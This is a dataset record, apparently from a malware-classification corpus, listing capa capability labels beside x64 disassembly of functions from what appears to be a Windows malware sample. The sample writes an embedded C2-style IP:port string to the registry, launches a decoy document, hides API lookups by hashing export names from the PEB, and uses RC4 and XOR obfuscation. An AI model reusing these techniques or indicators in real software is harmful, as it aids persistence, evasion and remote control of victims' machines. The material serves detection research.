joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140047a00
Capabilities:
Delete registry value
Set registry value

Disassembly:
sub rsp, 0x168
xor edx, edx
lea rcx, [rsp + 0x50]
mov r8d, 0x104
call fcn.14004be90
mov r8d, 0x104
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movzx eax, byte [0x1401126e0]
lea rdx, str.Console
movsd xmm0, qword [str.SelfPath]
mov r9d, 0x20006
mov byte [rsp + 0x48], al
xor r8d, r8d
movzx eax, word [0x140112740]
mov rcx, 0xffffffff80000001
mov word [rsp + 0x38], ax
movzx eax, byte [0x140112742]
mov byte [rsp + 0x3a], al
lea rax, [rsp + 0x170]
movsd qword [rsp + 0x40], xmm0
movsd xmm0, qword [str.IpDateInfo]
mov qword [rsp + 0x20], rax
movsd qword [rsp + 0x30], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140047b3f
mov rcx, qword [rsp + 0x170]
lea rdx, str.IpDate
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x170]
lea rdx, [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x170]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 0x104
lea rdx, [rsp + 0x40]
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea rcx, str.i:27.102.101.105p:5689
mov rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], 0
jne 0x140047b00
add eax, eax
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x28], eax
mov r9d, 3
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x168
ret
Function at 0x140047b60
Capabilities:
Create process on windows
Delete file
Get common file path

Disassembly:
push rbp
lea rbp, [rsp - 0x2a0]
sub rsp, 0x3a0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov qword [rsp + 0x3b0], rbx
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x190]
call fcn.14004be90
lea rdx, [rbp + 0x190]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
dec eax
cmp eax, 0x103
ja 0x140047d72
xor edx, edx
mov r8d, 0x104
lea rcx, [rbp + 0x80]
call fcn.14004be90
lea r9, str.dome.doc
lea r8, [rbp + 0x190]
lea rdx, str._s_s
lea rcx, [rbp + 0x80]
call fcn.1400485f0
movdqa xmm0, xmmword [0x140127570]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400030c0
nop
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.140001e20
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
mov ebx, dword [rbp + rcx - 0x80]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x6c], edx
lea rcx, [rbp - 0x80]
call fcn.140002af0
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rsp + rcx + 0x6c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x20]
call fcn.140048f34
nop
test ebx, ebx
jne 0x140047caa
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x140047d39
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x70]
call fcn.14004be90
lea r8, [rsp + 0x70]
xor edx, edx
lea rcx, [rbp + 0x80]
call qword [sym.imp.SHELL32.dll_FindExecutableA]
cmp rax, 0x20
jbe 0x140047d1f
mov edx, 5
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WinExec]
jmp 0x140047d39
xor r9d, r9d
lea r8, str.Error
lea rdx, str.Open_The_Document_Fail
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140047d72
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047d6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047d83
call fcn.14004a1bc
mov rbx, qword [rsp + 0x3b0]
add rsp, 0x3a0
pop rbp
ret
call fcn.140051938
int3
Function at 0x140047d90
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r15
sub rsp, 8
mov rax, qword gs:[0x30]
mov r13d, ecx
xor ebx, ebx
xor edi, edi
mov rdx, qword [rax + 0x60]
mov rax, qword [rdx + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx]
mov rdx, qword [rax]
mov rsi, qword [rdx + 0x30]
movsxd rax, dword [rsi + 0x3c]
mov edx, dword [rax + rsi + 0x88]
add rdx, rsi
mov ecx, dword [rdx + 0x14]
mov r15d, dword [rdx + 0x1c]
mov eax, dword [rdx + 0x20]
add r15, rsi
mov r12d, dword [rdx + 0x24]
add rax, rsi
mov r8d, dword [rdx + 0x18]
add r12, rsi
mov dword [rsp + 0x48], r8d
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
test rcx, rcx
je 0x140047eaa
mov qword [rsp + 0x40], rbp
movzx ebp, word [0x140096574]
mov qword [rsp], r14
cmp dword [r15 + rdi*4], 0
je 0x140047e95
xor r9d, r9d
mov r14d, r8d
test r8d, r8d
je 0x140047e95
nop word [rax + rax]
movzx r11d, word [r12 + r9*2]
cmp r11, rdi
jne 0x140047e83
mov r8d, dword [rax + r9*4]
xor eax, eax
add r8, rsi
movzx r10d, byte [r8]
test r10b, r10b
je 0x140047e72
nop dword [rax]
mov edx, eax
lea r8, [r8 + 1]
mov ecx, ebp
shr edx, cl
mov ecx, eax
shl ecx, 0x19
mov eax, edx
or eax, ecx
movsx ecx, r10b
movzx r10d, byte [r8]
add eax, ecx
test r10b, r10b
jne 0x140047e50
cmp eax, r13d
mov rax, qword [rsp + 0x50]
jne 0x140047e83
mov ebx, dword [r15 + r11*4]
add rbx, rsi
inc r9
cmp r9, r14
jb 0x140047e30
mov rcx, qword [rsp + 0x58]
mov r8d, dword [rsp + 0x48]
inc rdi
cmp rdi, rcx
jb 0x140047e15
mov r14, qword [rsp]
mov rbp, qword [rsp + 0x40]
mov rax, rbx
add rsp, 8
pop r15
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400483e0
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x430
xor ebx, ebx
movsxd rbp, edx
cmp dword [0x14012ea64], 3
mov rdi, rcx
mov esi, ebp
jne 0x140048546
lea rcx, str.jason
mov qword [rax - 0x18], rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r8d, eax
lea rcx, [rsp + 0x20]
call fcn.140048650
mov rdx, rdi
lea rcx, [rsp + 0x20]
mov r8d, ebp
call fcn.140048760
mov edx, ebx
test ebp, ebp
je 0x1400484cf
cmp rsi, 0x40
jb 0x1400484b3
movdqa xmm2, xmmword [str.cccccccccccccccc_]
mov eax, esi
and rax, 0xffffffffffffffc0
nop
movdqu xmm0, xmmword [rdi + rdx]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rdi + rdx], xmm1
movdqu xmm0, xmmword [rdi + rdx + 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rdi + rdx + 0x10], xmm1
movdqu xmm0, xmmword [rdi + rdx + 0x20]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rdi + rdx + 0x20], xmm0
movdqu xmm0, xmmword [rdi + rdx + 0x30]
pxor xmm1, xmm0
movdqu xmmword [rdi + rdx + 0x30], xmm1
add rdx, 0x40
cmp rdx, rax
jb 0x140048460
cmp rdx, rsi
jae 0x1400484cf
mov rcx, rsi
lea rax, [rdx + rdi]
sub rcx, rdx
xor byte [rax], 0x63
lea rax, [rax + 1]
sub rcx, 1
jne 0x1400484c2
mov rcx, rsi
call fcn.14004a4e0
mov r14, rax
test rax, rax
je 0x1400484f1
mov r8, rsi
xor edx, edx
mov rcx, rax
call fcn.14004be90
mov byte [r14], bl
jmp 0x1400484f4
mov r14, rbx
mov rdx, rbp
sub rdx, 1
js 0x1400485cd
lea rcx, [rdx + r14]
nop word [rax + rax]
movzx eax, byte [rbx + rdi]
inc rbx
mov byte [rcx], al
lea rcx, [rcx - 1]
cmp rbx, rdx
jle 0x140048510
sub r14, rdi
lea rcx, [rdx + 1]
nop dword [rax]
movzx eax, byte [r14 + rdi]
mov byte [rdi], al
lea rdi, [rdi + 1]
sub rcx, 1
jne 0x140048530
jmp 0x1400485cd
test edx, edx
je 0x1400485cd
cmp rsi, 0x40
jb 0x1400485b2
movdqa xmm2, xmmword [str.cccccccccccccccc_]
mov rax, rsi
and rax, 0xffffffffffffffc0
movdqu xmm0, xmmword [rcx + rbx]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rcx + rbx], xmm1
movdqu xmm0, xmmword [rcx + rbx + 0x10]
movdqa xmm1, xmm2
pxor xmm0, xmm2
movdqu xmmword [rcx + rbx + 0x10], xmm0
movdqu xmm0, xmmword [rcx + rbx + 0x20]
pxor xmm1, xmm0
movdqu xmmword [rcx + rbx + 0x20], xmm1
movdqu xmm0, xmmword [rcx + rbx + 0x30]
pxor xmm0, xmm2
movdqu xmmword [rcx + rbx + 0x30], xmm0
add rbx, 0x40
cmp rbx, rax
jb 0x140048563
cmp rbx, rsi
jae 0x1400485cd
lea rax, [rbx + rcx]
sub rsi, rbx
nop
xor byte [rax], 0x63
lea rax, [rax + 1]
sub rsi, 1
jne 0x1400485c0
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140048650
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
test r8d, r8d
je 0x140048753
mov qword [rsp + 0x10], rbx
push rdi
movdqa xmm2, xmmword [0x140127580]
lea r9, [rcx + 0x20]
mov edi, r8d
mov qword [rsp + 0x10], rsi
mov rbx, rcx
mov edx, 8
nop dword [rax + rax]
lea eax, [rdx - 8]
movd xmm0, eax
lea r9, [r9 + 0x40]
pshufd xmm0, xmm0, 0
lea eax, [rdx - 4]
paddd xmm0, xmm2
movd xmm1, eax
movdqu xmmword [r9 - 0x60], xmm0
lea eax, [rdx + 4]
pshufd xmm1, xmm1, 0
paddd xmm1, xmm2
movd xmm0, edx
movdqu xmmword [r9 - 0x50], xmm1
add edx, 0x10
movd xmm1, eax
pshufd xmm0, xmm0, 0
pshufd xmm1, xmm1, 0
paddd xmm0, xmm2
movdqu xmmword [r9 - 0x40], xmm0
lea eax, [rdx - 8]
paddd xmm1, xmm2
movdqu xmmword [r9 - 0x30], xmm1
cmp eax, 0x100
jl 0x140048680
xor ecx, ecx
lea rsi, str.jason
mov r9d, ecx
mov r10, rbx
nop word [rax + rax]
mov r11d, dword [r10]
xor edx, edx
mov eax, r9d
div edi
movzx eax, byte [rdx + rsi]
add eax, r11d
add ecx, eax
and ecx, 0x800000ff
jge 0x140048725
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd rax, ecx
inc r9d
lea rdx, [rbx + rax*4]
mov eax, dword [rbx + rax*4]
mov dword [r10], eax
add r10, 4
movzx eax, r11b
mov dword [rdx], eax
cmp r9d, 0x100
jl 0x140048700
mov rsi, qword [rsp + 0x10]
mov rbx, qword [rsp + 0x18]
pop rdi
ret

Function at 0x140048760
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov r10, rdx
mov r9, rcx
test r8d, r8d
je 0x140048821
mov r11d, r8d
nop dword [rax]
nop word [rax + rax]
mov eax, dword [r9 + 0x400]
inc eax
and eax, 0x800000ff
jge 0x140048799
dec eax
or eax, 0xffffff00
inc eax
movsxd rcx, eax
mov dword [r9 + 0x400], eax
mov eax, dword [r9 + rcx*4]
add eax, dword [r9 + 0x404]
lea r8, [r9 + rcx*4]
and eax, 0x800000ff
jge 0x1400487c2
dec eax
or eax, 0xffffff00
inc eax
mov dword [r9 + 0x404], eax
movzx edx, byte [r8]
cdqe
mov ecx, dword [r9 + rax*4]
mov dword [r8], ecx
movsxd rax, dword [r9 + 0x404]
mov dword [r9 + rax*4], edx
movsxd rax, dword [r9 + 0x404]
movsxd rcx, dword [r9 + 0x400]
mov edx, dword [r9 + rax*4]
add edx, dword [r9 + rcx*4]
and edx, 0x800000ff
jge 0x140048809
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
movzx ecx, byte [r9 + rax*4]
xor byte [r10], cl
inc r10
sub r11, 1
jne 0x140048780
ret

Function at 0x140056074
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140055ea0
Function at 0x180908108
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.18090828f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180908139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18090811f
add dl, dl
jne 0x180908146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1809081a6
xor eax, eax
add dl, dl
jne 0x180908155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18090825d
add dl, dl
jne 0x180908166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180908173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180908180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18090818d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x18090819a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18090812e
mov eax, 1
add dl, dl
jne 0x1809081b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1809081c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1809081ab
sub eax, ebx
mov ebx, 1
jne 0x1809081fc
mov ecx, 1
add dl, dl
jne 0x1809081de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1809081eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1809081d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18090812e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180908218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180908225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18090820d
cmp eax, 0x7d00
jae 0x18090824b
cmp eax, 0x500
jb 0x180908246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18090812e
cmp eax, 0x7f
ja 0x18090824e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18090812e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x180908282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18090812e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001b50
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x260
xor edx, edx
mov rdi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rsp + 0x4c]
mov r8, rdi
sub r8, rdx
nop dword [rax + rax]
movzx ecx, word [rdx]
movzx eax, word [rdx + r8]
sub ecx, eax
jne 0x140001bb4
add rdx, 2
test eax, eax
jne 0x140001ba0
test ecx, ecx
je 0x140001bdb
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001b90
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret
mov eax, dword [rsp + 0x28]
mov rbx, qword [rsp + 0x270]
add rsp, 0x260
pop rdi
ret

Function at 0x140001bf0
Capabilities:
Get file size
Read file on windows

Disassembly:
push rdi
sub rsp, 0x40
mov qword [rsp + 0x30], 0
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001c31
xor eax, eax
add rsp, 0x40
pop rdi
ret
mov qword [rsp + 0x50], rbx
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x58], rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
movsxd rbx, eax
mov rdx, rbx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor r9d, r9d
mov qword [rsp + 0x20], 0
mov rdx, rax
mov r8d, ebx
mov rcx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rbx, qword [rsp + 0x50]
test eax, eax
je 0x140001ca4
cmp dword [rsi], 0x905a4d
jne 0x140001ca4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rsi, qword [rsp + 0x58]
xor eax, eax
add rsp, 0x40
pop rdi
ret

Function at 0x140001e40
Capabilities:
Enumerate gui resources

Disassembly:
sub rsp, 0x28
movsxd rdx, ecx
lea rcx, [0x140001df0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rax, qword [0x1400141e0]
add rsp, 0x28
ret
Function at 0x140004da0
Capabilities:
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x70
movups xmm3, xmmword [0x140010ed0]
lea rdi, [rsp + 0x78]
mov eax, dword [0x140010ee8]
movsd xmm0, qword [0x140010ee0]
xor r9d, r9d
cmp word [0x140010eea], r9w
mov rbx, qword [rdi]
movups xmmword [rsp + 0x50], xmm3
mov qword [rdi], r9
movsd qword [rsp + 0x60], xmm0
mov dword [rsp + 0x68], eax
je 0x140004f21
cmp dword [0x140014008], 2
mov ecx, r9d
jl 0x140004edb
movdqa xmm2, xmmword [0x1400116d0]
mov ecx, 8
movdqa xmm4, xmmword [0x140011730]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400116f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movq xmm1, xmm3
movdqa xmm3, xmmword [0x1400116e0]
paddw xmm2, xmmword [0x140011700]
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movq qword [rsp + 0x50], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400116f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x58]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x140011700]
xorps xmm2, xmm0
movq qword [rsp + 0x58], xmm2
movsxd rax, ecx
lea r8, [rsp + 0x50]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 2]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x35
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x32
xor word [r8 - 2], ax
cmp ecx, 0xe
jl 0x140004ef0
mov eax, dword [0x140010860]
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x88], eax
mov ecx, 0x72
movzx eax, word [0x140010864]
xor r8d, r8d
xor word [rsp + 0x8a], 0x33
xor ax, 0x34
mov qword [rsp + 0x40], r9
mov word [rsp + 0x8c], ax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r9
mov word [rsp + 0x88], cx
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x80], 1
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140004fe1
mov rcx, qword [rsp + 0x90]
lea rax, [rsp + 0x80]
mov dword [rsp + 0x28], 4
lea rdx, [rsp + 0x88]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rdi], rbx
mov rbx, qword [rsp + 0x98]
add rsp, 0x70
pop rdi
ret
Function at 0x140005000
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
movups xmm3, xmmword [0x140010ed0]
lea rdi, [rsp + 0x58]
mov eax, dword [0x140010ee8]
movsd xmm0, qword [0x140010ee0]
xor ecx, ecx
cmp word [0x140010eea], cx
mov rbx, qword [rdi]
movups xmmword [rsp + 0x30], xmm3
mov qword [rdi], rcx
movsd qword [rsp + 0x40], xmm0
mov dword [rsp + 0x48], eax
je 0x140005181
cmp dword [0x140014008], 2
jl 0x140005136
movdqa xmm2, xmmword [0x1400116d0]
mov ecx, 8
movdqa xmm4, xmmword [0x140011730]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400116f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movq xmm1, xmm3
movdqa xmm3, xmmword [0x1400116e0]
paddw xmm2, xmmword [0x140011700]
movdqa xmm0, xmm3
xorps xmm2, xmm1
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movq qword [rsp + 0x30], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400116f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x38]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x140011700]
xorps xmm2, xmm0
movq qword [rsp + 0x38], xmm2
movsxd rax, ecx
lea r8, [rsp + 0x30]
lea r8, [r8 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 2]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x35
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x32
xor word [r8 - 2], ax
cmp ecx, 0xe
jl 0x140005150
lea rax, [rsp + 0x60]
mov r9d, 0x20019
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x30]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400051c5
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov qword [rdi], rbx
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov qword [rdi], rbx
xor al, al
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140005c20
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
xor ebx, ebx
mov ecx, 0xbeef
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005c3a
test ebx, ebx
je 0x140005c47
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
add rsp, 0x20
pop rbx
ret
Function at 0x140005c50
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
cmp word [0x1400111e2], 0
movups xmm0, xmmword [str.GPYZ]
mov eax, dword [0x1400111e0]
mov dword [rbp - 0x30], eax
movups xmmword [rbp - 0x40], xmm0
je 0x140005cad
xor word [rbp - 0x3e], 0x33
mov eax, 0x6e
xor word [rbp - 0x3c], 0x34
xor word [rbp - 0x3a], 0x35
xor word [rbp - 0x38], 0x36
xor word [rbp - 0x36], 0x37
xor word [rbp - 0x34], 0x38
xor word [rbp - 0x32], 0x39
xor word [rbp - 0x30], 0x3a
xor word [rbp - 0x2e], 0x3b
mov word [rbp - 0x40], ax
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r9, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140005ebf
mov ecx, dword [0x140010d20]
movups xmm0, xmmword [str.GgPBV_UIQJV__]
movzx eax, byte [0x140010d26]
mov dword [rbp - 0x1c], ecx
movzx ecx, word [0x140010d24]
mov word [rbp - 0x18], cx
xor ecx, ecx
cmp dword [0x140014008], 2
mov qword [rsp + 0x80], rbx
movups xmmword [rbp - 0x2c], xmm0
mov byte [rbp - 0x16], al
jl 0x140005e49
movdqa xmm0, xmmword [str.2222222222222222]
lea rdx, [rbp - 0x28]
movdqa xmm5, xmmword [0x1400116d0]
movdqa xmm4, xmmword [0x140011730]
movdqa xmmword [rbp - 0x50], xmm0
mov r8d, dword [rbp - 0x50]
movaps xmmword [rsp + 0x60], xmm6
movdqa xmm6, xmmword [0x1400116f0]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140011710]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
